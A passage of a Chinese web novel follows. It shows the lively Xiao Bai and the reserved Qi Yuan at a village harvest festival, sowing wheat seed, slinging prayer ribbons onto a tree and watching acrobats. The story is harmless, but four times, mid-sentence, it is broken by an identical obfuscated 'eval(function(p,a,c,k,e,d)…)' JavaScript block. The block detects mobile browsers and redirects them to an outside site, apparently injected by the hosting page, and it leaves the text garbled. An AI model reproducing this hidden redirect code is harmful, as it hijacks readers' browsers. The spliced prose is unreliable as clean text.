看到自家小舅舅靠在齐原哥哥肩头昏昏欲睡的模样,杜小宝小心翼翼凑到齐原哥哥那边小小声道:“小舅舅有些晕牛车,如果有其他事情转移注意力就还好,一旦牛车上没人跟他说话,一路晃悠着、晃悠着小舅舅就睡着了。” 回村的路有一段确实很颠簸,在萧兴德的提示下,齐原略微纠结几息后,终究还是伸手小心翼翼护在小哥儿的侧腰处,只是他掌心始终微微悬空,并不敢真正碰触到萧白的腰身。 然而在来回颠簸几下后,睡到迷迷糊糊的萧白很是随意将脑袋往少年肩窝处埋了埋,毕竟这会儿他只觉自己好像躺在床上呼呼大睡,自然而然就下意识将脑袋埋进他专门找阿娘特制的柔软枕头里。 回上林村的一路上都没看到其他什么人,齐原便任由小哥儿靠在自己身上好眠,但在快到村口的时候,他侧头隐约看到村口似乎有坐着唠嗑的人影,随即他便将小哥儿从自己身上微微推开了一些,然后稍稍压低声音把人喊醒。 一路好眠的萧白倏地从牛车中坐直身体,扭头看到一片熟悉的身影,他略显茫然眨眨眼:“啊,要到家了呀!” “嘿嘿,小舅舅一口水都流了齐原哥哥一身~”见自家小舅舅终于舍得醒了,杜小宝蹭一下贴到小舅舅身边,看着小舅舅一脸慌乱去检查齐原哥哥肩头的衣服时,他抬手紧紧捂住嘴巴都没能遮住得意洋洋的笑声。 扭头满脸不善盯着竟然胆大包天戏耍自己的臭小孩,萧白抬手就揪着杜小宝脸蛋上的肉肉往两边扯,听着杜小宝一顿虚假的“鬼哭狼嚎”,他心里才算是舒坦许多。 等牛车一路停在自家门口,萧白立刻精神抖擞从牛车上跳下去,见齐原似乎是要回家的意思,他顺手便将一份用油纸严严实实包裹着的荷叶肉饼塞过去:“可不能光咱们吃好东西,这一份你带回家给盈娘婶婶尝尝。” 完全不等齐原拒绝,在跟自家大伯挥挥手后,萧白扭头牵着杜小宝就往自家那边跑去,一边跑还一边朗声喊着阿奶、阿娘,前后不过几息功夫小哥儿只留给齐原一个活蹦乱跳的背影。 看到少年盯着手上的荷叶肉饼微微愣神,萧兴德忍不住呵呵笑起来:“拿着吧,白哥儿就这么个性子,别看他平时大大咧咧又娇气得很,实际上只要他真心实意与人交好,便处处都想得格外体贴周到。” 在齐原拿着油纸包一路不疾不徐回到家门口时,谢盈娘正在打扫院子里的落叶,明天乞仓节她要去杜家那边帮忙,自然就没时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834542|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间折腾家里的活计了,听到门口传来的声音,她顺势抬眼看过去:“阿原玩好了吗,怎么……又拿了东西回来?” 今天外头的天气不冷也不热,因为荷叶肉饼已经是午食那会儿买的,眼下自然已经有些凉了,齐原打算将饼子拿进厨房稍微热一下,闻言便答道:“今天我跟白哥儿还有小宝一起把阿娘和山雁姐前段时间打的络子全部卖了出去,所以白哥儿就买了好些荷叶肉饼带回来。” 院子已经打扫差不多,谢盈娘干脆跟着儿子一起进了厨房,看到油纸里包着的两份荷叶肉饼,她微微蹙起眉头:“白哥儿是个大方的好孩子,萧家人跟杜家人对我们也都很好,但阿原我们不能因为别人好就理所当然去占便宜,最近这段时间我们已经受了白哥儿太多照顾,以后可不能一直这样下去。” 人与人之间的相处真诚为上,总不能任由一方持续付出,另一方理所当然地接受,谢盈娘自然知道她家阿原不是爱占便宜的性子,但有些话她这个做阿娘的总要说出口才行。 见到一张油纸里包着两份荷叶肉饼,齐原原本准备去烧火的动作立时停滞住,回想起在萧家门口告别那会儿小哥儿格外灿烂的笑容,他稍稍握紧拳头垂眸不知道在想些什么。 “阿娘,我知道的……”好一会儿后,齐原终是启唇轻轻应了一声。 两份肉馅满满当当的荷叶肉饼足够娘俩当暮食吃了,因着明天要去忙活乞仓节的事情,谢盈娘在稍微消消食过后很快便回房间休息,齐原将院子稍微再收拾一遍,索性也回了自己房间温习功课。 院子外头是一片月明星稀,今天跟着小哥儿跑来跑去齐原也是有些累了,看着、看着手中的书他歪着脑袋不知不觉便睡了过去,只是不知道多长时间过去,他似乎隐约听到白哥儿清亮中稍微带着些娇气的嗓音。 想知道小哥儿到底说了些什么,又是在跟什么人说话,齐原下意识静下心神全神贯注去听,当即便在一片略显喧闹的细碎声响中,几抹不同的嗓音纷纷清晰入耳: “你如今才多大年纪,白哥儿就算选赘婿也是要选我这样同龄更稳重些的儿郎,季长宁你还是收拾、收拾东西赶紧回家去吧!” “我跟白哥儿也算一起长大的青梅竹马,凭什么你张永安这样只知道听阿娘话的男儿可以,我就不行,前前后后只差两岁年数又算得了什么,说不定白哥儿就喜欢我这样乖巧听话的……” “我不信,反正白哥儿最后肯定不会选你个小屁孩!” “年纪小点怎么了,我还没说你整天不学无术就知道从村孰逃课呢!” 小哥儿本身就有些选择困难在身上,面对眼前吵吵闹闹的俩少年,他实在被吵烦了干脆随手指向面前:“我选——季长宁!” 在季长宁三个字从小哥儿口中说出后,趴在桌子上睡到迷迷糊糊的齐原瞬间从梦中惊醒,仰头看着窗外高悬的月亮,他那只被脑袋压麻了的手臂似乎在不停微微颤抖着。 18.第十八章 乞仓节当天是不能睡懒觉的,毕竟在村里头懒汉、懒婆娘可都不是什么好听的名声,所以任凭自家小哥儿平时再怎么赖在床上不愿意爬起来,今天一大早都不能犯那个臭毛病。 偏偏今日天公格外作美,小风透过窗户吹进屋子里实在舒服的不得了,向来信奉“骑马坐轿,不如早起睡觉”的萧白迷迷糊糊被自家阿娘从被窝里拎起来时,更是困顿得连双眼都不愿意睁开。 “快点起来,今年阿娘一定要带你赶上前头去投祈福带,要是再像去年一样赶在最后面,等回来没你的好果子吃。”棠悦上去就是两巴掌不轻不重拍在萧白屁股上,没多大会儿就把小哥儿从迷迷糊糊的状态中闹腾清醒了。 “啊啊,阿娘你怎么又打我屁股,我都已经不是五六岁的小屁孩了!”后知后觉感到有些羞耻,萧白恨不得双手叉腰跟自家阿娘来一场孩子大了能不能再打屁股的辩论赛,结果棠悦又一巴掌毫不犹豫甩过去,萧白立刻怂唧唧表示自己就算七老八十,阿娘想要打他屁股,他都会乖乖主动将屁股送过来。 “天天就知道瞎贫嘴,赶紧穿好衣服去帮你阿父收拾东西,咱们马上出发去麦场那边,不然真就赶不及了。”棠悦素来是个雷厉风行的性子,这边刚把儿子从床上喊起来,扭头她又去院子里不知道忙活些什么。 见到妻子从儿子房间出来,萧青山乐呵呵凑过去:“喊起来了?” “还说呢,让你过去喊白哥儿起床,你说说一上午都跑几趟了,结果愣是没把孩子喊起来。” 夫妻俩在院中便收拾东西便闲聊,屋里萧白只隐隐约约能听到阿父跟阿娘在说话,又稍微赖在床上眯了几息时间,小哥儿才蹭一下从床上跳下去。 上林村前后共有两个麦场,是平时用来碾刚收下来粮食的地方,不过相比较之下前村那片麦场更大些,所以每年乞仓节都会在这边举行。 乞仓节算是整个上林镇独有的节日,每到固定的时间节点各个村落都会自发忙活起来,再加上大家平时待在家里也没什么可以打发时间的事情,所以要到准备乞仓节的时候村民们的积极性自然都很高。 难得能在村子里看到这么热闹的场景,上一秒萧白还拿着个饼子有一口每一口啃着,下一秒就冲进小伙伴的群体中快乐玩耍起来。 “白哥,你上次跟我们讲的那个故事我们还没听到结尾呢,求求你给我们再讲讲呗!” “白哥快看,我今年做的弹弓是不是特别棒,待会儿肯定可以把祈福带弹到最高的地方。” “就你那三脚猫的功夫还敢拿到白哥面前丢人现眼,别到时候祈福带连树枝子都没挂上去~” “你们这就有点瞧不起人了,我做弹弓的手艺可是有专门请教过白哥的。” …… 人群熙熙攘攘热闹的不得了,萧白看着在某些长辈眼中可能比不了村里那些姑娘们,毕竟她们可不想找个自己压根管不住的儿媳妇,更不想让自家孩子去萧青山家当上门女婿,但在眼前这群少男、少女心中可就成了“众星捧月”般的存在。 齐原跟着谢盈娘一起过来时,抬眼毫不费力便看见被那些少男、少女结结实实围起来的小哥儿,以及小哥儿脸上格外灿烂的笑容。 “白哥儿可真招那些孩子喜欢,阿原不用一直待在阿娘身边,也去跟他们一起玩玩~”自家儿子一直是个沉默寡言的性子,从很小的时候就显得格外不合群,以前谢盈娘大部分精力放在求学的丈夫身上,剩下的时间又要被公婆磋磨,自然没了精气神去管儿子,只是如今她已然想开了不少,便想着让儿子可以过得稍微轻松些。 难得有这样热热闹闹、开开心心的日子,各家长辈自然都不想一直将孩子拘束在自己身边,萧白从人群中环视一圈刚开始还没看到齐原的身影,尤其他又被那群小屁孩缠着讲什么故事,不过等他好不容易从人群拥挤中脱离出来,恰好一转身便看到向自己缓步而来的粉衣少年郎。 粉色其实是个很挑人的颜色,皮肤若是本就没那么白皙穿着只会更显暗沉,且对于部分白皮而言,穿上粉衣同样不会太过出彩,不过今天齐原这一身粉衣长衫却只让人感到眼前一亮。 作为一个货真价实的颜值党,转身看到齐原的一刹那萧白承认自己有些微微愣住了,直到少年已经抬脚走到自己跟前,他反应过来后才很是直接夸赞一句:“阿原今天穿得真好看。” 小哥儿眼中满满都是对面前人一张漂亮脸蛋的欣赏,并没有其他多余且让人感到不适的意思,故而被那样一双炽热的眼眸盯着,齐原只觉得耳根处不自觉一阵微微发烫。 “是……往日的旧衣,颜色比其他衣物稍微鲜亮了些。”齐原跟谢盈娘长期以来在齐家的待遇也就那样,再加上齐生又比齐原稍稍大上一些,这也就导致齐原从小到大压根没什么新衣服可穿,大多只能跟在后面捡齐生不能穿了的或者不愿意穿了的,对此齐原并没有太多想法,但在搬出齐家后的第一个生辰日,阿娘还是亲自给他裁了这件衣服。 说到这里萧白才终于注意到齐原袖口和衣摆的位置好像是有圈颜色不太一样的缘边,估摸着少年距离刚做这件衣服那会儿长高不少,衣服穿起来自然比之前更多了些局促,盈娘婶婶就在边缘的地方打了圈补丁,不过这补丁谁看了不得说一句心思巧、手也巧。 “难怪大姐非要缠着盈娘婶婶教她打络子,估摸着下一步就要学绣花了,盈娘婶婶的手艺可真好~”两人正说着麦场那边就传来一阵更加热闹的声音,估摸着是要开始撒麦种了,萧白当即便抓起齐原一只手,“走走走,我们一起去撒麦种!” 撒麦种算是乞仓节一个比较有意思的活动,每到这个时节各家各户都会准备上提前留好的麦种,不需要很多,只一小篮子便可以,到了乞仓节当天大家聚在麦场这边的时候,家家户户的每个成员便会或轮流或一起将自家的麦种撒向提前打扫干净的空地处。 上林村本身人口就很多,家家户户的麦种混在一起肯定有好也有坏,但只那一篮子麦种而已,就算来年播进地里影响也不会太大。 等萧白拉着齐原挤进人群中的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847663|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家已经开始纷纷扬扬往中间的空地处挥洒麦种,一个个口中还念念有词些吉祥话,受到这样热闹环境的影响,萧白咧着嘴回头满脸兴奋看向齐原:“快快快,我们一起撒麦种,祈求明年风调雨顺、五谷丰登——” 被夏日里的太阳热腾腾晒过的麦种有种特殊的醇香,两人一起伸手从萧青山提着的篮子里各抓了一把麦种,然后用力往前方已经被撒了不少麦种的地方挥过去,麦种簌簌落地的声响随之而来,更带着那股纯粹的麦香细细密密沾染到在场每个人身上。 老话都说“民以食为先”,尤其大家还都尝过食不果腹的滋味,对乞仓节自然有种别样的崇尚,眼下热闹的场景不是因为这个节日的历史有多悠久,仅仅只是因为上林镇的百姓们想要永远吃得上饱饭,永远不要再过回那样吃糠咽菜的苦日子。 各家挥洒出去的粮食全部混到一起,在大家都跑去往村头那棵大树上抛祈福带时,萧白拉着齐原在那些麦种前蹲下来小小声交头接耳:“阿原我跟你说,阿父答应要把小院后面那块地送我瞎折腾,刚刚你有看到大家都是往哪个地方挥洒麦种的吗,我想要一篮子混合了很多、很多家的麦种。” “……”小哥儿的呼吸里都带着格外兴奋的热度,感受到萧白甚至可以说得上是亢奋的状态,齐原微微弯眸抬手指了个位置,“那边地势更加平坦些,刚刚不少人都先跑到那边撒麦种。” “阿原,还得是你~”被少年这么一提点,萧白才终于注意到他们所在的位置是没有另外一边平坦,难怪刚刚撒麦种那会儿他还能拉着齐原从这边挤进来。 村子上每年都会提前安排好人分麦种,看好位置后萧白毫不犹豫提着他从阿父那里要来的篮子走过去:“福叔、福叔,阿公、阿奶说今年的麦种让我来领,我想要这个地方的麦种。” 也不知道麦种都已经混合到一起了还有什么区别,不过萧大福今个儿开心,完全是任小哥儿要哪地方的麦种,他就用木铲给装哪个地方的麦种。 “来来来,我可是知道咱们白哥儿弹弓玩得好,待会儿白哥儿顺手帮阿叔将这个祈福带丢树上去,要是你阿叔我自己去丢,怕一回家就要挨训喽!”这边刚刚帮小哥儿装好麦种,萧大福摸摸脑袋像是突然想起什么,伸手就将自己放在怀中的祈福带拿出递向面前的小哥儿。 不过萧白手里这会儿还提着麦种呢,旁边齐原在得到小哥儿眉眼示意后,当即伸手将那祈福带接过来。 “要换我提着那些麦种吗?”跟分外轻薄的祈福带相对比,肯定还是那一篮子稻种更重些,原本齐原是要帮忙提着麦种的,不过小哥儿那时已经非常快速将满满当当的篮子提起来。 闻言萧白看看自己虽然不那么强壮却天生有力的胳膊,随即再扭头看看齐原虽然比自己高却格外清瘦的身形,下一刻他毫不犹豫连忙摇头:“不用不用,你忘了自己手上还有伤吗,这点儿麦种真不重。” 萧青山远远看到这一幕,脸色瞬间就没之前那么好看了:果然百无一用是书生,手无寸铁真得能行吗? 19.第十九章 萧白眼尖一扭头就看到自家阿父奇奇怪怪朝自己这边看过来,他一双狡黠的大眼睛眨呀眨,在不知道扭头跟齐原小小声说了些什么后,他抬脚就飞快跑到萧青山面前。 哼,还知道自己有个阿父呢!萧青山刚在心里稍微傲娇那么一下下,神色都没来得及摆在脸上,怀里突然就多出个盛放了满满当当麦种的篮子。 小哥儿难得跟自家阿父撒娇卖乖:“阿父、阿父,我想去祈福树那边玩,就麻烦您把我的大宝贝放回家嘛,求求了~” 老父亲的傲娇和恨铁不成钢,在心肝宝贝儿子的撒娇卖乖下没能撑住几息,转头将麦种拿得更稳当些的同时,萧青山又很是无奈摆摆手:“行了、行了,去玩儿吧,阿父肯定把你这一篮子宝贝好好送回家。” “嘿嘿,我家阿父最最最好了~”手上不需要拿东西,萧白只觉浑身轻松,他活动两下手腕扭头已经飞快跑到齐原面前,随即二话不说拉着人又赶紧往祈福树那边跑。 祈福树下已经站了满满当当上林村的村民,毕竟从村头到村尾浩浩荡荡得有数百口人,萧白抬眼不过稍稍扫过去便只觉得一双眼睛都快看花了。 不过即便面对这样的场景小哥儿依旧不带半点怕的,他扭头兴奋冲着身边的少年郎伸出手,齐原望着递到面前的白皙掌心,当即将自己手上拿着的祈福带递过去。 萧白看看掌心的祈福带,又微微仰头对着齐原眨眨眼:“先不弄这个,……你的呢?” 作为一个关爱小弟的好大哥,萧白自觉应该多多照顾一下齐原这个新小弟才行,反正大福叔往年只会将祈福带系在最下面的树枝上,凭借他萧爷高超的技术今年肯定能让大福叔心满意足,不过头名他当然就自行做主送给阿原啦~ 没想到小哥儿会这么问自己,望着萧白满眼期待的神色,齐原稍稍有些没太反应过来,好一会儿后他才缓缓摇头:“我……没有准备祈福带。” 齐原跟谢盈娘半块地都没有,从齐家搬出来后的两三年更是一次都没参加过什么乞仓节,毕竟如此热闹的节日对他们那样快要吃不起饭的家而言没有任何意义,然而自从今年认识眼前的小哥儿,无论他还是阿娘似乎都变了很多。 不知道为什么此时此刻对上小哥儿看过来的眼神,齐原竟然不自觉有些想要往后退缩,在村孰无论多少人嘲笑自己被阿父、被整个齐家抛弃,齐原从不会因为他们产生半点多余的情绪,只是眼下他终于明白齐生说他应该为此感到自卑到底是个什么滋味。 完全不明白齐原怎么突然就开始发起呆来,萧白抬手在少年郎眼前来回晃了晃:“没有提前准备祈福带又算不上什么大事,阿原你不会要……哭了吧?” 说到这里颜控属性的小哥儿忍不住抬脚往前蹭了蹭,然后微微歪着脑袋去看面前少年郎一双漂亮的眼眸,他们阿原本就生得好看极了,如果哭到眼睛红红彤彤的模样应该会更漂亮吧,萧白忍不住如此坏心眼点地想着,因此那双直勾勾盯着齐原的眼眸也更多了些别样的炽热。 察觉到小哥儿眸中隐隐升起的灼热与期待,在反应过来萧白刚刚到底说了些什么后,齐原刚刚升起的那点儿自卑情绪立刻变成浓浓的哭笑不得。 不过小哥儿灼烫的眼神实在让人难以招架,齐原又害怕自己稍稍往后退开些会让萧白因为惯性前倾摔倒,便只能通红着双耳朵微微扭开满是不自在的面庞。 完全没有察觉到自己将人弄到面红耳赤的行为有多过分,萧白只是觉得自己过于颜控可能会吓到面前的少年郎,故而他抬手便很是霸气揽在齐原的肩膀上轻轻拍了拍:“没有就没有嘛,咱们俩可以用同一份祈福带,不过是不是需要纸笔重新写一下……” 嘴上一边咕咕哝哝说着,小哥儿一边伸手将自己折到有些皱皱巴巴的祈福带拿出来,于是正面“吃好、喝好、玩好,我家一切都好”的几个潦草大字便水灵灵出现在了齐原面前。 小哥儿向来是个说风就是雨的性子,这边刚打算好让齐原跟自己的心愿写在同一份祈福带上,扭头他又在身上胡乱摸出了根黑乎乎的碳条递到少年手上:“可以用这个写,虽然没有毛笔那么好用,但胜在随身携带非常方便。” 家里到了冬日会买些专用的碳取暖,那种碳特意削成细条状肯定也是可以写字的,不过萧家虽然日子过得不错,倒也不至于奢侈成那个样,所以这碳条是萧白自己折腾不少时间才弄出来的小玩意,由于前段时间他一直在琢磨改良犁头的事情才把碳条随时带在身上。 比起小哥儿堪称毛毛虫在纸上乱爬的字,齐原的字自然好看不知道多少倍,在萧白眼神加肢体动作的连番催促下,少年终于略显别扭用那碳条在那祈福带上写下几个端正小字:“愿阿娘康健无忧,愿身边人所求皆成。” “写了什么、写了什么,是不是求你将来高中状元、打马游街?”萧白看着大大咧咧一个人,偶尔也会有非常心细的时候,在少年郎提笔写字时他是半点没偷看,只等着人写完才故意伸长脖子想要逗逗齐原。 果不其然少年下意识拿着祈福带往旁边躲了躲,在萧白故意压低声音的一句“小气”中,他偷偷捏了下泛红的耳根就权当自己没听到小哥儿说了些什么。 不过祈福带最后还是要交到小哥儿手上的,毕竟齐原半点不会折腾萧白手中看着就把玩到格外光滑细腻的弹弓。 “看好了,今天哥哥带你开开眼~”伸手捏住祈福带顶部专门订上去的小扣子,萧白格外得瑟地抬了抬下巴,在枝叶随着风簌簌吹动时,他倏地将手中的蓄势待发的祈福带弹射出去,于是下一秒人群中便响起一阵格外热闹的欢呼。 “呦呵,白哥儿这准头真没得说,今年似乎比去年还要更高些吧!” “你看看人家白哥儿,自己天天闹着要玩弹弓,让你阿父弄了个弹弓,结果连个小哥儿都比不上。” “啊,那就是萧家的小哥儿吧,听说萧家是打算给他找个上门赘婿?” “对哦,你们之前一直住在镇上,估摸着只听过却没怎么见过,萧家是打算给小哥儿找个赘婿呢,而且萧青山跟他媳妇私下里应该已经在看了,就是还没让小哥儿知道。” “还没定好人选啊,我以为小哥儿身边那少年郎就是呢,俩小孩看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853757|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来模样都很是俊俏,倒是般配得很。” “应该不是,那少年看着有些眼生又有些眼熟,好像是……齐家老大的儿子,你也知道齐家老大是个什么情况,这孩子估摸着最近两三年都没怎么出来过,难怪大家看着都觉得眼生……” “齐家私底下都骂那孩子不是他们家的种,再加上后村不少汉子心里确实偷偷惦记着谢盈娘呢,说不定那小子还真能成萧家的赘婿,只怕有什么样的老子就有什么样的儿子,萧家那么疼白哥儿,难道真敢让白哥儿赘那样出身的小子!” ……祈福树下的人实在太多,哪怕萧白和齐原并不是凑在最前头,因为挂在大树最顶上那个祈福带,俩人很快也就成了大家共同注视且议论的中心人物,不过大家你一句、我一句吵吵嚷嚷得完全听不到重点。 萧白可不喜欢这样被人当猴子围观的场景,急匆匆将大福叔交给他的祈福带也弹到大树上,转身就非常灵巧带着齐原从人群中挤出去。 齐原却是将那些人的话听了个清清楚楚,以前或许他并不在意那些流言蜚语,因为他知道那些人只想议论他们以为的情况,至于真相又到底是什么他们压根不关心。 只是不知道为什么,眼下的齐原却觉得那些话刺耳得很,所以他下意识将全部注意力落到身侧的小哥儿身上,察觉到萧白可能根本没听到那些人的各种议论,他心底竟然莫名松了口气。 “呼,那些人可真喜欢各种嚼舌根,真不知道唧唧歪歪在说些什么,还不如我跟村头那些老爷爷、老奶奶们唠嗑、聊八卦呢~”萧白喜欢跟老爷爷、老奶奶凑到一起唠嗑,是因为这些长辈很有长辈的样儿,而且大多心态放得极为平和,就算聊谁家的八卦也是抱着纯粹看乐子的心态,而不是怀有些见不得人的恶意。 今天的天气明明很凉快,萧白却愣是被挤出一身的汗,他抬起胳膊胡乱在额头上擦了几下,扭头拉着齐原嘿嘿一笑:“走,咱们去村头那边看杂耍,听大伯说今年村子里还专门请了个杂耍班呢。” 今天的上林村是真热闹,当萧白跟齐原一路不紧不慢赶到村头摆好的戏台子处时,外圈已经围了不少爱看热闹的村民。 “白哥儿快来这边,这边还有空位置!”从提着个长凳子刚来摆好的戏台子这边时,张永安就一直在东张西望,一大早他本来是要去找白哥儿的,只是自家也有事情要忙活,等他终于抽出空闲,白哥儿家里的大门已经关得严严实实。 故而张永安特意让自家弟弟帮忙将祈福带扔到祈福树上去,自己则兴冲冲跑到戏台子这边提前等候,依着他对白哥儿爱看热闹性子的了解,不需要等多长时间白哥儿就肯定会过来这边。 只在看到萧白是拉着齐原的手过来时,张永安原本满眼兴奋的模样立时愣在那里。 看到周边围了那么多等着看杂耍的人,齐原下意识想要抽回自己被小哥儿无意识拉着的手,但在直直对上张永安看过来的目光后,他瞬间回想起昨晚做的那个梦。 不知道是何种心态作祟,齐原面无表情收回看向张永安的目光,同时他也默默放弃收回自己被小哥儿拉着的手。 20.第二十章 “好小子,你今天竟然过来这么早!”萧白半点不对劲都没察觉到,甚至还很开心拉着齐原的手往张永安那边挤过去,“还好你今天来得早,不然我们怕是连位置都抢不到。” 张永安稍微往旁边退开一些,主要是想让白哥儿可以坐到自己旁边,但齐原木着张脸仗着双腿比较修长,往前一步后刚好坐到张永安身边,随即他微微仰头望着萧白,萧白更是没有半点犹豫就坐到齐原身边。 少年一张脸看起来没有半点异常的情绪,仿佛他只是很自然坐到那里,再加上如今白哥儿也已经坐了下来,张永安没办法主动开口将人赶走,更不能突然提出要换位置,便只能强行挤出一抹笑敷衍着问候:“阿原也过来了啊。” 齐原垂眸淡淡点头嗯了一声,俨然一副略显怕生不太爱与人说话的模样,恰好这时杂耍班子已经做好所有准备工作,随着一阵响亮的铜锣声传来,大家便忍不住齐齐将视线投落出去。 村子里极少会有这样热闹的时候,不仅小孩子们玩得格外痛快,就连大人一个个都是喜笑颜开。 杂耍班子热闹了一整个上午,中午大家是要聚在一起吃大锅饭的,整个上林村还真就数萧老头的厨艺最好,虽然萧家家底子那叫一个丰厚,但萧家人可从来不是做吃山空的性子,不仅萧青山会去镇上当账房,萧老爷子年轻那会儿更是连年搁外头做过生意,等年纪大了回村养老时不时还跟着出去做大席。 其实做大席是件很累、很累的事情,毕竟那么一大锅接一大锅的菜,要用到的锅铲更是比寻常用的沉重很多,不然老爷子也不会这么大年纪依旧满身结实肉。 萧家一大家子也就萧青山看着稍微弱气些,但他年轻那会儿毕竟也是被拉去充过军的,哪怕身边有大舅哥和媳妇护着,吃的苦、受的罪也不算少,因此扭头看看满身文弱书生气的齐原,萧青山心里才会有千百个不满意。 “走走走,我带你去后厨那边找好吃的。”杂耍耍到中后段时萧白已经有些坐不住了,东瞅瞅、细看看小哥儿突然凑到齐原身边悄悄道,“也不知道谁吃了那么多嘎嘣豆,我都快被臭死了!” 嘎嘣豆是用新收成的黄豆干锅小火一点点炒出来的吃食,寻常人家平日里也没个什么零嘴,就只能想着法子做些可口的东西吃,再加今天大家又都是过来看杂耍,还真有不少人边吃豆子便看热闹。 小火炒制出来的嘎嘣豆口感其实很是香醇,更是非常好用来消磨时间的吃食,不过吃多了除了嘴干容易上火外,就是会忍不住……放臭屁了。 前一句还是要去后厨偷偷找吃的,下一句就是谁吃多了嘎嘣豆一直放臭屁,对于小哥儿过于跳跃的脑回路,齐原有些无奈地弯眸浅笑,私底下又觉得这样的阿白实在可爱。 长凳子突然走开两个人是会直接翻过去的,原本萧白也想喊张永安一起,不过扭头看到对方那副双眼亮晶晶的样他立刻就放弃了,正好周边围着看杂耍的人本来就很多,把位置悄无声息让出去完全是件简单到不能再简单的事情。 由于中间隔着个齐原,加上今天这几出杂耍实在耍得漂亮,等到萧白跟齐原都快从人群中挤出去,张永安才终于察觉到不对劲,毕竟身旁大叔看热闹时的嗓门实在大得厉害,张永安是想察觉不到都很难,于是他赶忙冲着萧白和齐原的背影喊了一嗓子:“白哥儿,你要去哪里,我跟你一起去!” 能把位置让出去是件很简单的事情,但想从人群中挤出去就没那么轻松了,萧白全神贯注在人群中寻找突破口,再加上前头敲锣打鼓热闹得很,他是半点没听到张永安有在喊自己,甚至因为人群拥挤他还差点一脑门扎在地上。 齐原敏锐听到有人在后面喊小哥儿的名字,尚且来不及回头去看,他便赶忙慌乱伸出双手紧紧搂住萧白的腰身,这才没有让小哥儿非常糟糕地摔倒在地上。 萧白是真得很怕疼,所以在齐原伸手揽住自己腰身的时候,他更是下意识让自己直接挂到少年郎身上,直到俩人好不容易从人群拥挤中逃离出去。 大概是时不时上山摘草药,回来又要给阿娘炮制草药的缘故,齐原身上隐隐有股很是浅淡带着些药味的草木香,下意识萧白往前更凑近了些,随即耸动着鼻尖仔细闻了又闻:“阿原,你身上是什么味道,好香啊!” 药味总是容易给人带来很不好的感觉,尤其谢盈娘从很早之前就开始缠绵病榻,为此齐原总是需要消耗很长、很长的时间去给阿娘摘草药、炮制草药。 甚至于村孰中,在齐生的带动下,那些同窗更是会以药味来嘲笑、讥讽,齐原不能说厌恶自己身上的味道,但从来也不会将其跟香联系在一起。 下意识微微垂眸望向依旧还无知无觉挂在自己身上的小哥儿,齐原只望见对方眼眸里的好奇和纯粹的欢喜,甚至还因为少年没有第一时间回答,他更是跟只被味道吸引的小狸奴那般凑上去闻了又闻。 几乎霎时间,齐原耳根处再次通红一片,胸腔更是不受控制地剧烈跳动起来,不知道小哥儿是不是察觉到身边人的异常,竟有抬手放到少年胸口位置去检查的趋势。 一时惊慌失措下,齐原小心翼翼将人从自己身上稍微推开些许:“是阿娘常年吃的药味,大概我帮阿娘药材处理的次数多了,这件长衫之前又一直放在阿娘房间的衣柜里,所以染上的味道才稍稍更重些。” 听齐原这么一说,萧白看少年便越发觉得可怜巴巴起来,心中更恨不得给自己狠狠来上两巴掌:香什么香,什么都觉得香,瞧瞧这话问得多冒昧! “走走走,我带你去吃好东西,味道绝对都是超级棒的那种!”在萧白看来没什么能比吃到美味的东西更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864303|174712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人感到愉悦了,如果一道美味不行那就多来几道,说着小哥儿伸手就将人熟练往后厨那边带。 说是后厨其实更像为了这顿大锅饭专门搭建的大号室外灶台,萧白带着齐原跑到灶台那边时,萧老头正把一个超级大号的锅铲挥动得虎虎生威,那架势看上去完全超级大厨一个。 趁着萧老头一道菜做好可以稍微休息一下的间隙,萧白赶紧拉着齐原凑上前,然后装模作样耸动着鼻尖闻了闻:“哇,真得好香啊,果然不愧是我们家的萧大厨,这一手厨艺也太太太太厉害了!” 小哥儿三两句话的功夫就能轻轻松松将自家阿公哄上天,老爷子一开心就从灶台旁边拿了不少好吃的东西:“来来来,你跟阿原都帮阿公尝尝,今天这几道菜是不是也做得特别好,我可是用上了白哥儿之前说过的法子,绝对没有半点鱼腥味儿……” 